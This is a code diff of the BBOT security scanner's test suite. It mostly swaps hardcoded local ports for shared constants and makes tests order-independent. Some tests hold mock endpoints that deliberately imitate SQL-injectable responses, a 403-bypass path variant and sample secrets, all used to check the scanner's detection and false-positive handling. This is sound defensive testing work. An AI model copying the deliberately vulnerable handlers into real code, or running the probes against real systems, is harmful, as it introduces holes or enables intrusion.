TestAsset_InventoryEmitPrevious(TestAsset_Inventory): config_overrides = {"dns": {"minimal": False}, "modules": {"asset_inventory": {"use_previous": True}}} modules_overrides = ["asset_inventory"] + async def setup_before_prep(self, module_test): + await super().setup_before_prep(module_test) + # use_previous=True reads the asset-inventory.csv left behind by a + # prior scan of the same name. Relying on TestAsset_Inventory to have + # produced it makes this test order-dependent, which does not survive + # xdist: sibling tests can run in any order, and on any worker. Seed + # the file instead so the test stands on its own. + scan_home = module_test.scan.home + scan_home.mkdir(parents=True, exist_ok=True) + with open(scan_home / "asset-inventory.csv", "w") as f: + f.write("Host,Provider,IP(s),Status,Open Ports,Risk Rating,Findings,Description\n") + f.write(f"www.bbottest.notreal,,127.0.0.1,Active,{HTTPSERVER_SSL_PORT},,,\n") + def check(self, module_test, events): - assert any(e.data == "www.bbottest.notreal:9999" for e in events), "No open port found" + assert any(e.data == f"www.bbottest.notreal:{HTTPSERVER_SSL_PORT}" for e in events), "No open port found" assert any(e.data == "www.bbottest.notreal" for e in events), "No DNS name found" filename = next(module_test.scan.home.glob("asset-inventory.csv")) with open(filename) as f: diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index ecda4f8824..2ef77da8df 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -7,6 +7,7 @@ from bbot.modules.baddns import SUBMODULE_MAX_SEVERITY, SUBMODULE_MAX_CONFIDENCE from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_HOSTPORT, HTTPSERVER_PORT def _extract_finding_values(module_cls): @@ -183,7 +184,7 @@ def check(self, module_test, events): class TestBaddns_cname_signature(BaseTestBaddns): - targets = ["bad.dns:8888"] + targets = [f"bad.dns:{HTTPSERVER_PORT}"] modules_overrides = ["baddns", "speculate"] async def setup_after_prep(self, module_test): @@ -192,7 +193,7 @@ async def setup_after_prep(self, module_test): from baddns.lib.whoismanager import WhoisManager def set_target(self, target): - return "127.0.0.1:8888" + return HTTPSERVER_HOSTPORT expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": "

Oops! We couldn’t find that page.

", "status": 200} diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py index cbf1a8c2d4..d99f39c00a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_direct.py @@ -1,5 +1,6 @@ from .base import ModuleTestBase from bbot.modules.base import BaseModule +from bbot.test.worker import HTTPSERVER_HOSTPORT, HTTPSERVER_PORT class BaseTestBaddns(ModuleTestBase): @@ -9,7 +10,7 @@ class BaseTestBaddns(ModuleTestBase): class TestBaddns_direct_cloudflare(BaseTestBaddns): - targets = ["bad.dns:8888"] + targets = [f"bad.dns:{HTTPSERVER_PORT}"] modules_overrides = ["baddns_direct"] async def dispatchWHOIS(self): @@ -24,7 +25,7 @@ async def handle_event(self, event): if event.data == "bad.dns": await self.helpers.sleep(0.5) self.events_seen.append(event.data) - url = "http://bad.dns:8888/" + url = f"http://bad.dns:{HTTPSERVER_PORT}/" url_event = self.scan.make_event( url, "URL", parent=self.scan.root_event, tags=["cloudflare", "in-scope", "status-401"] ) @@ -36,7 +37,7 @@ async def setup_after_prep(self, module_test): from baddns.lib.whoismanager import WhoisManager def set_target(self, target): - return "127.0.0.1:8888" + return HTTPSERVER_HOSTPORT self.module_test = module_test diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index f0c88b49cd..3a825262b1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -1,13 +1,14 @@ from .base import ModuleTestBase, tempwordlist +from bbot.test.worker import HTTPSERVER_URL class TestBadSecrets(ModuleTestBase): targets = [ - "http://127.0.0.1:8888/", - "http://127.0.0.1:8888/test.aspx", - "http://127.0.0.1:8888/cookie.aspx", - "http://127.0.0.1:8888/cookie2.aspx", - "http://127.0.0.1:8888/cookie3.aspx", + f"{HTTPSERVER_URL}/", + f"{HTTPSERVER_URL}/test.aspx", + f"{HTTPSERVER_URL}/cookie.aspx", + f"{HTTPSERVER_URL}/cookie2.aspx", + f"{HTTPSERVER_URL}/cookie3.aspx", ] sample_viewstate = """ @@ -137,9 +138,9 @@ class TestBadSecrets_JWTIdentifyOnly(ModuleTestBase): while still emitting SecretFound findings for vulnerable JWTs.""" targets = [ - "http://127.0.0.1:8888/", - "http://127.0.0.1:8888/vuln_jwt.aspx", - "http://127.0.0.1:8888/safe_jwt.aspx", + f"{HTTPSERVER_URL}/", + f"{HTTPSERVER_URL}/vuln_jwt.aspx", + f"{HTTPSERVER_URL}/safe_jwt.aspx", ] modules_overrides = ["badsecrets", "http"] diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py index 94e6140df2..a10fabb9de 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_amazon.py @@ -2,6 +2,7 @@ from .base import ModuleTestBase from bbot.core.helpers.misc import rand_string +from bbot.test.worker import HTTPSERVER_URL __all__ = ["random_bucket_name_1", "random_bucket_name_2", "random_bucket_name_3", "Bucket_Amazon_Base"] @@ -14,7 +15,7 @@ class Bucket_Amazon_Base(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] provider = "amazon" random_bucket_1 = f"{random_bucket_name_1}.s3.amazonaws.com" diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py index 5fae2d25bd..9ada56e702 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_file_enum.py @@ -1,9 +1,10 @@ from .base import ModuleTestBase from bbot.test.bbot_fixtures import bbot_test_dir +from bbot.test.worker import HTTPSERVER_URL class TestBucket_File_Enum(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["bucket_file_enum", "filedownload", "http", "excavate", "cloudcheck"] download_dir = bbot_test_dir / "test_bucket_file_enum" diff --git a/bbot/test/test_step_2/module_tests/test_module_bypass403.py b/bbot/test/test_step_2/module_tests/test_module_bypass403.py index a78fec4c40..839794f10d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bypass403.py +++ b/bbot/test/test_step_2/module_tests/test_module_bypass403.py @@ -1,9 +1,10 @@ import re from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_URL class TestBypass403(ModuleTestBase): - targets = ["http://127.0.0.1:8888/test"] + targets = [f"{HTTPSERVER_URL}/test"] modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): @@ -16,11 +17,11 @@ def check(self, module_test, events): findings = [e for e in events if e.type == "FINDING"] assert len(findings) == 1 finding = findings[0] - assert "http://127.0.0.1:8888/test..;/" in finding.data["description"] + assert f"{HTTPSERVER_URL}/test..;/" in finding.data["description"] class TestBypass403_collapsethreshold(ModuleTestBase): - targets = ["http://127.0.0.1:8888/test"] + targets = [f"{HTTPSERVER_URL}/test"] modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): @@ -71,7 +72,7 @@ def check(self, module_test, events): class TestBypass403_aspnetcookieless(ModuleTestBase): - targets = ["http://127.0.0.1:8888/admin.aspx"] + targets = [f"{HTTPSERVER_URL}/admin.aspx"] modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): @@ -87,7 +88,7 @@ def check(self, module_test, events): class TestBypass403_waf(ModuleTestBase): - targets = ["http://127.0.0.1:8888/test"] + targets = [f"{HTTPSERVER_URL}/test"] modules_overrides = ["bypass403", "http"] async def setup_after_prep(self, module_test): diff --git a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py index 7407bc9061..196b61767d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py +++ b/bbot/test/test_step_2/module_tests/test_module_cloudcheck.py @@ -1,10 +1,11 @@ from .base import ModuleTestBase from bbot.scanner import Scanner +from bbot.test.worker import HTTPSERVER_URL class TestCloudCheck(ModuleTestBase): - targets = ["http://127.0.0.1:8888", "asdf2.storage.googleapis.com"] + targets = [HTTPSERVER_URL, "asdf2.storage.googleapis.com"] modules_overrides = ["http", "excavate", "cloudcheck"] async def setup_after_prep(self, module_test): diff --git a/bbot/test/test_step_2/module_tests/test_module_code_repository.py b/bbot/test/test_step_2/module_tests/test_module_code_repository.py index 20df2dfb28..772c4548ce 100644 --- a/bbot/test/test_step_2/module_tests/test_module_code_repository.py +++ b/bbot/test/test_step_2/module_tests/test_module_code_repository.py @@ -1,8 +1,9 @@ from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_URL class TestCodeRepository(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "excavate", "code_repository"] async def setup_after_prep(self, module_test): diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index 06cfa6d8f7..c60a974f67 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -1,10 +1,11 @@ from bbot.test.mock_blasthttp import MockResponse from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_URL class TestDiscord(ModuleTestBase): - targets = ["http://127.0.0.1:8888/cookie.aspx", "http://127.0.0.1:8888/cookie2.aspx", "foo.bar"] + targets = [f"{HTTPSERVER_URL}/cookie.aspx", f"{HTTPSERVER_URL}/cookie2.aspx", "foo.bar"] modules_overrides = ["discord", "excavate", "badsecrets", "http"] webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf" diff --git a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py index e0ad33548a..0840c31c00 100644 --- a/bbot/test/test_step_2/module_tests/test_module_docker_pull.py +++ b/bbot/test/test_step_2/module_tests/test_module_docker_pull.py @@ -3,6 +3,7 @@ from pathlib import Path from .base import ModuleTestBase +from bbot.test.worker import BBOT_TEST_DIR from bbot.test.bbot_fixtures import bbot_test_dir @@ -412,7 +413,7 @@ async def setup_before_prep(self, module_test): ], }, ) - temp_path = Path("/tmp/.bbot_test") + temp_path = Path(f"{BBOT_TEST_DIR}") tar_path = temp_path / "docker_pull_test.tar.gz" with tarfile.open(tar_path, "w:gz") as tar: file_io = io.BytesIO("This is a test file".encode()) diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index aee30f5ca7..ff70181fd1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -1,6 +1,7 @@ import re from .base import ModuleTestBase from werkzeug.wrappers import Response +from bbot.test.worker import HTTPSERVER_URL dotnetnuke_http_response = """ @@ -17,7 +18,7 @@ class TestDotnetnuke(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "dotnetnuke"] config_overrides = {"interactsh_disable": "True"} @@ -131,7 +132,7 @@ def extract_subdomain_tag(data): class TestDotnetnuke_blindssrf(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] module_name = "dotnetnuke" modules_overrides = ["http", "dotnetnuke"] config_overrides = { diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index a3bc55b7a2..95cf083adc 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -1,5 +1,4 @@ import json -import time import asyncio import ssl from urllib.request import urlopen, Request @@ -7,6 +6,7 @@ from base64 import b64encode from .base import ModuleTestBase +from bbot.test.worker import wait_for_container def _elastic_request(method, url, body=None): @@ -57,15 +57,9 @@ async def setup_before_prep(self, module_test): "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", ) - # Connect to Elasticsearch with retry logic - while True: - try: - response = _elastic_request("GET", "https://localhost:9200/_cat/health") - response.read() - break - except (URLError, ConnectionError, OSError) as e: - self.log.verbose(f"Connection failed: {e}. Retrying...") - time.sleep(0.5) + await wait_for_container( + "Elasticsearch", lambda: _elastic_request("GET", "https://localhost:9200/_cat/health").read() + ) # Ensure the index is empty try: diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 9d05e0c49d..070519c16d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -7,10 +7,11 @@ from pathlib import Path import time import yara +from bbot.test.worker import HTTPSERVER_PORT, HTTPSERVER_URL, LOCALHOST_URL class TestExcavate(ModuleTestBase): - targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/links.html"] + targets = [f"{HTTPSERVER_URL}/", "test.notreal", f"{HTTPSERVER_URL}/subdir/links.html"] modules_overrides = ["excavate", "http"] config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}, "omit_event_types": []} @@ -80,15 +81,15 @@ def check(self, module_test, events): assert "www8.test.notreal" in event_data # .js files should be emitted as URL_UNVERIFIED events (they are processed by http module which has accept_js_url=True) # they are seen by internal modules but not by output modules - assert "http://127.0.0.1:8888/a_relative.js" not in event_data - assert "http://127.0.0.1:8888/link_relative.js" not in event_data - assert "http://127.0.0.1:8888/a_relative.txt" in event_data - assert "http://127.0.0.1:8888/link_relative.txt" in event_data + assert f"{HTTPSERVER_URL}/a_relative.js" not in event_data + assert f"{HTTPSERVER_URL}/link_relative.js" not in event_data + assert f"{HTTPSERVER_URL}/a_relative.txt" in event_data + assert f"{HTTPSERVER_URL}/link_relative.txt" in event_data dummy_module_event_data = [e.pretty_string for e in module_test.scan.modules["dummy_module"].events_seen] - assert "http://127.0.0.1:8888/a_relative.js" in dummy_module_event_data - assert "http://127.0.0.1:8888/link_relative.js" in dummy_module_event_data - assert "http://127.0.0.1:8888/a_relative.txt" in dummy_module_event_data - assert "http://127.0.0.1:8888/link_relative.txt" in dummy_module_event_data + assert f"{HTTPSERVER_URL}/a_relative.js" in dummy_module_event_data + assert f"{HTTPSERVER_URL}/link_relative.js" in dummy_module_event_data + assert f"{HTTPSERVER_URL}/a_relative.txt" in dummy_module_event_data + assert f"{HTTPSERVER_URL}/link_relative.txt" in dummy_module_event_data assert "nhttps://www1.test.notreal/" not in event_data assert "x3dhttps://www2.test.notreal/" not in event_data @@ -108,7 +109,7 @@ def check(self, module_test, events): assert any( e.type == "URL_UNVERIFIED" - and e.url == "http://127.0.0.1:8888/relative.html" + and e.url == f"{HTTPSERVER_URL}/relative.html" and "spider-max" not in e.tags and "endpoint" in e.tags and "extension-html" in e.tags @@ -118,12 +119,12 @@ def check(self, module_test, events): ) assert any( - e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/2/depth2.html" and "spider-max" in e.tags + e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/2/depth2.html" and "spider-max" in e.tags for e in events ) assert any( - e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/distance2.html" and "spider-max" in e.tags + e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/distance2.html" and "spider-max" in e.tags for e in events ) @@ -134,7 +135,7 @@ def check(self, module_test, events): class TestExcavate2(TestExcavate): - targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/"] + targets = [f"{HTTPSERVER_URL}/", "test.notreal", f"{HTTPSERVER_URL}/subdir/"] async def setup_before_prep(self, module_test): # root relative @@ -169,17 +170,17 @@ def check(self, module_test, events): for e in events: if e.type == "URL_UNVERIFIED": # these cases represent the desired behavior for parsing relative links - if e.url == "http://127.0.0.1:8888/rootrelative.html": + if e.url == f"{HTTPSERVER_URL}/rootrelative.html": root_relative_detection = True - if e.url == "http://127.0.0.1:8888/subdir/pagerelative1.html": + if e.url == f"{HTTPSERVER_URL}/subdir/pagerelative1.html": page_relative_detection_1 = True - if e.url == "http://127.0.0.1:8888/subdir/pagerelative2.html": + if e.url == f"{HTTPSERVER_URL}/subdir/pagerelative2.html": page_relative_detection_2 = True # these cases indicates that excavate parsed the relative links incorrectly - if e.url == "http://127.0.0.1:8888/pagerelative.html": + if e.url == f"{HTTPSERVER_URL}/pagerelative.html": root_page_confusion_1 = True - if e.url == "http://127.0.0.1:8888/subdir/rootrelative.html": + if e.url == f"{HTTPSERVER_URL}/subdir/rootrelative.html": root_page_confusion_2 = True assert root_relative_detection, "Failed to properly excavate root-relative URL" @@ -190,21 +191,19 @@ def check(self, module_test, events): class TestExcavateInScopeJavascript(TestExcavate): - targets = ["http://127.0.0.1:8888/"] + targets = [f"{HTTPSERVER_URL}/"] modules_overrides = ["excavate", "http", "badsecrets"] async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data( - "" + f"" ) module_test.httpserver.expect_request("/script.js").respond_with_data( "var = 'eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo';" ) def check(self, module_test, events): - found_js_url_event = bool( - [e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/script.js"] - ) + found_js_url_event = bool([e for e in events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/script.js"]) found_excavate_jwt_finding = bool( [ e @@ -220,7 +219,7 @@ def check(self, module_test, events): class TestExcavateRedirect(TestExcavate): - targets = ["http://127.0.0.1:8888/", "http://127.0.0.1:8888/relative/", "http://127.0.0.1:8888/nonhttpredirect/"] + targets = [f"{HTTPSERVER_URL}/", f"{HTTPSERVER_URL}/relative/", f"{HTTPSERVER_URL}/nonhttpredirect/"] config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): @@ -247,7 +246,7 @@ def check(self, module_test, events): if e.type == "URL_UNVERIFIED" and e.url == "https://www.test.notreal/yep" and e.scope_distance == 1 ] ) - assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/relative/owa/"]) + assert 1 == len([e for e in events if e.type == "URL" and e.url == f"{HTTPSERVER_URL}/relative/owa/"]) assert 1 == len( [ e @@ -287,19 +286,19 @@ def check(self, module_test, events): class TestExcavateQuerystringRemoveTrue(TestExcavate): - targets = ["http://127.0.0.1:8888/"] + targets = [f"{HTTPSERVER_URL}/"] config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True, "omit_event_types": []} - lots_of_params = """ -
- - - - - - - - - + lots_of_params = f""" + + + + + + + + + + """ async def setup_before_prep(self, module_test): @@ -307,9 +306,7 @@ async def setup_before_prep(self, module_test): def check(self, module_test, events): assert len([e for e in events if e.type == "URL_UNVERIFIED"]) == 2 - assert ( - len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/endpoint"]) == 1 - ) + assert len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/endpoint"]) == 1 class TestExcavateQuerystringRemoveFalse(TestExcavateQuerystringRemoveTrue): @@ -317,13 +314,7 @@ class TestExcavateQuerystringRemoveFalse(TestExcavateQuerystringRemoveTrue): def check(self, module_test, events): assert ( - len( - [ - e - for e in events - if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?") - ] - ) + len([e for e in events if e.type == "URL_UNVERIFIED" and e.url.startswith(f"{HTTPSERVER_URL}/endpoint?")]) == 1 ) @@ -333,47 +324,41 @@ class TestExcavateQuerystringCollapseFalse(TestExcavateQuerystringRemoveTrue): def check(self, module_test, events): assert ( - len( - [ - e - for e in events - if e.type == "URL_UNVERIFIED" and e.url.startswith("http://127.0.0.1:8888/endpoint?") - ] - ) + len([e for e in events if e.type == "URL_UNVERIFIED" and e.url.startswith(f"{HTTPSERVER_URL}/endpoint?")]) == 10 ) class TestExcavateMaxLinksPerPage(TestExcavate): - targets = ["http://127.0.0.1:8888/"] + targets = [f"{HTTPSERVER_URL}/"] config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}, "omit_event_types": []} - lots_of_links = """ - - - - - - - - - - - - - - - - - - - - - - - - - + lots_of_links = f""" + + + + + + + + + + + + + + + + + + + + + + + + + """ async def setup_before_prep(self, module_test): @@ -415,7 +400,7 @@ def check(self, module_test, events): class TestExcavateURL_IP(TestExcavate): - targets = ["http://127.0.0.1:8888/", "127.0.0.2"] + targets = [f"{HTTPSERVER_URL}/", "127.0.0.2"] async def setup_before_prep(self, module_test): module_test.httpserver.expect_request("/").respond_with_data("SomeSMooshedDATAhttps://127.0.0.2/some/path") @@ -463,7 +448,7 @@ def check(self, module_test, events): class TestExcavateNonHttpScheme(TestExcavate): - targets = ["http://127.0.0.1:8888/", "test.notreal"] + targets = [f"{HTTPSERVER_URL}/", "test.notreal"] non_http_scheme_html = """ @@ -517,14 +502,14 @@ def check(self, module_test, events): class TestExcavateParameterExtraction(TestExcavate): # hunt is added as parameter extraction is only activated by one or more modules that consume WEB_PARAMETER modules_overrides = ["excavate", "http", "hunt"] - targets = ["http://127.0.0.1:8888/"] - parameter_extraction_html = """ + targets = [f"{HTTPSERVER_URL}/"] + parameter_extraction_html = f""" Get extract @@ -553,7 +538,7 @@ class TestExcavateParameterExtraction(TestExcavate):

Links

href - img + img - """ - if "search=" in qs: - value = qs.split("=")[1] - - if "&" in value: - value = value.split("&")[0] - - sql_block_normal = f""" -
-

0 search results for '{unquote(value)}'

-
-
""" - sql_block_error = """ -
-

Found error in SQL query

-
-
- """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + return sqli_injectable_response(request.args.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -1272,8 +1269,7 @@ class Test_Lightfuzz_sqli_post(ModuleTestBase): }, } - def request_handler(self, request): - parameter_block = """ + parameter_block = """ """ - if "search" in request.form.keys(): - value = request.form["search"] - - sql_block_normal = f""" -
-

0 search results for '{unquote(value)}'

-
-
- """ - - sql_block_error = """ -
-

Found error in SQL query

-
-
- """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + return sqli_injectable_response(request.form.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -1392,32 +1369,14 @@ async def setup_after_prep(self, module_test): for event in seed_events: await module_test.scan.ingress_module.incoming_event_queue.put(event) - def request_handler(self, request): - placeholder_block = """ + placeholder_block = """

placeholder

""" - if request.headers.get("testheader") is not None: - header_value = request.headers.get("testheader") - - header_block_normal = f""" - -

placeholder

-

test: {header_value}

- - """ - header_block_error = """ - -

placeholder

-

Error!

- - """ - if header_value.endswith("'") and not header_value.endswith("''"): - return Response(header_block_error, status=500) - return Response(header_block_normal, status=200) - return Response(placeholder_block, status=200) + def request_handler(self, request): + return sqli_injectable_response(request.headers.get("testheader"), self.placeholder_block) def check(self, module_test, events): sqli_finding_emitted = False @@ -1462,33 +1421,14 @@ async def setup_after_prep(self, module_test): for event in seed_events: await module_test.scan.ingress_module.incoming_event_queue.put(event) - def request_handler(self, request): - placeholder_block = """ + placeholder_block = """

placeholder

""" - if request.cookies.get("test") is not None: - header_value = request.cookies.get("test") - - header_block_normal = f""" - -

placeholder

-

test: {header_value}

- - """ - - header_block_error = """ - -

placeholder

-

Error!

- - """ - if header_value.endswith("'") and not header_value.endswith("''"): - return Response(header_block_error, status=500) - return Response(header_block_normal, status=200) - return Response(placeholder_block, status=200) + def request_handler(self, request): + return sqli_injectable_response(request.cookies.get("test"), self.placeholder_block) def check(self, module_test, events): sqli_finding_emitted = False @@ -1816,6 +1756,36 @@ def check(self, module_test, events): assert no_finding_emitted, "False positive finding was emitted" +# Serialization Module: the parameter is parsed as a URI, not deserialized. .NET's Uri reads +# everything before the first "/" as the hostname, so the control payload (no "/", trailing "=") +# throws and the dotnet payload (leading token "AAEAAAD") parses -- a 500->200 flip that has +# nothing to do with deserialization. A structurally-corrupted twin parses just as well, which +# is what proves the outcome is independent of the payload's content. +class Test_Lightfuzz_serial_errorresolution_uri_parse_fp(Test_Lightfuzz_serial_errorresolution): + uri_parse_error = ( + "System.UriFormatException: Invalid URI: The hostname could not be parsed." + ) + + def request_handler(self, request): + post_params = request.form + if "TextBox1" not in post_params.keys(): + return Response(self.dotnet_serial_html, status=200) + if post_params["__VIEWSTATE"] != "/wEPDwULLTE5MTI4MzkxNjVkZNt7ICM+GixNryV6ucx+srzhXlwP": + return Response(self.dotnet_serial_error, status=500) + host = post_params["TextBox1"].split("/")[0] + if not host or re.fullmatch(r"[A-Za-z0-9.-]+", host) is None: + return Response(self.uri_parse_error, status=500) + return Response("Request accepted", status=200) + + def check(self, module_test, events): + findings = [ + e.data["description"] + for e in events + if e.type == "FINDING" and "Unsafe Deserialization" in e.data.get("description", "") + ] + assert not findings, f"URI parsing was misreported as unsafe deserialization: {findings}" + + class Test_Lightfuzz_serial_errorresolution_existingvalue_valid(Test_Lightfuzz_serial_errorresolution): dotnet_serial_html = """ @@ -3790,10 +3760,7 @@ class Test_Lightfuzz_try_post_as_get(ModuleTestBase): }, } - def request_handler(self, request): - qs = str(request.query_string.decode()) - - parameter_block = """ + parameter_block = """ """ - if "search=" in qs: - value = qs.split("=")[1] - if "&" in value: - value = value.split("&")[0] - - sql_block_normal = f""" -
-

0 search results for '{unquote(value)}'

-
-
- """ - - sql_block_error = """ -
-

Found error in SQL query

-
-
- """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + # only the converted GETPARAM pass reaches a query here; the POST pass is disabled + return sqli_injectable_response(request.args.get("search"), self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -3872,8 +3819,7 @@ class Test_Lightfuzz_try_get_as_post(ModuleTestBase): }, } - def request_handler(self, request): - parameter_block = """ + parameter_block = """ """ - if request.method == "POST" and "search" in request.form.keys(): - value = request.form["search"] - - sql_block_normal = f""" -
-

0 search results for '{unquote(value)}'

-
-
- """ - - sql_block_error = """ -
-

Found error in SQL query

-
-
- """ - if value.endswith("'"): - if value.endswith("''"): - return Response(sql_block_normal, status=200) - return Response(sql_block_error, status=500) - return Response(parameter_block, status=200) + def request_handler(self, request): + # only the converted POSTPARAM pass reaches a query here + value = request.form.get("search") if request.method == "POST" else None + return sqli_injectable_response(value, self.parameter_block) async def setup_after_prep(self, module_test): module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: ( @@ -4148,6 +4077,85 @@ def check(self, module_test, events): ) +def _sqli_code_change_findings(events): + return [ + e.data["description"] for e in events if e.type == "FINDING" and "Code Change" in e.data.get("description", "") + ] + + +# SQLi negative test: the textbook 200->500->200 status flip on a parameter that never reaches a +# query. TRUE and FALSE boolean payloads come back byte-identical, so there is no SQL logic to +# confirm. This is the shape an envelope-wrapped parameter produces when the injected quote +# changes the envelope's structural validity rather than a query's. +class Test_Lightfuzz_sqli_no_boolean_differential_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response("

Bad Request

", status=500) + return Response("

0 results

", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a status flip with no boolean differential: {findings}" + + +# SQLi negative test: the single-quote probe is blocked by an access-control layer whose block +# page carries no recognizable WAF signature. The transition into 403 is what identifies it. +class Test_Lightfuzz_sqli_unsigned_403_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if value.endswith("'") and not value.endswith("''"): + return Response( + "Forbidden

Forbidden

" + "

Reference: 0aB1cD2e

", + status=403, + ) + return Response("

0 results

", status=200) + + def check(self, module_test, events): + findings = _sqli_code_change_findings(events) + assert not findings, f"SQLi reported from a probe blocked with an unsigned 403: {findings}" + + +# SQLi negative test: the status is keyed on the payload's length, not its quoting. A benign +# one-vs-two-character pair reproduces the same status triplet, so the change isn't quote-specific. +class Test_Lightfuzz_sqli_length_keyed_fp(Test_Lightfuzz_sqli): + def request_handler(self, request): + value = request.args.get("search") + if value is None: + return Response(self.parameter_block, status=200) + if len(value) == 11: + return Response("

Bad Request

", status=500) + return Response("

0 results

